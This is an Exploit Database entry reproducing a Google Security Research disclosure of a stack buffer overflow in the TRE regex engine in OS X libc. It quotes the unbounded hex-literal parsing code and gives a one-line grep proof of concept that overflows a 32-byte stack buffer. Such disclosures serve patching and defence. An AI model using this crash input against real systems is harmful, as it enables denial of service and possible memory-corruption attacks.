Apple Mac OSX Regex Engine (TRE) – Stack Buffer Overflow (PoC)

• Exploit Database
• 10 阅读

• 作者： Google Security Research
  日期： 2015-09-22
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/38263/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=428
  
  OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]
  
  If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:
  
  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  ctx->re++;
  while (ctx->re_end - ctx->re >= 0)
  {
  if (ctx->re[0] == CHAR_RBRACE)
  break;
  if (tre_isxdigit_l(ctx->re[0], ctx->loc))
  {
  tmp[i] = (char)ctx->re[0];
  i++;
  ctx->re++;
  continue;
  }
  return REG_EBRACE;
  }
  
  ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...
  
  I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:
  
  lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash
  
  That should crash trying to read and write pointers near 0x4141414141414141
  
  Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled.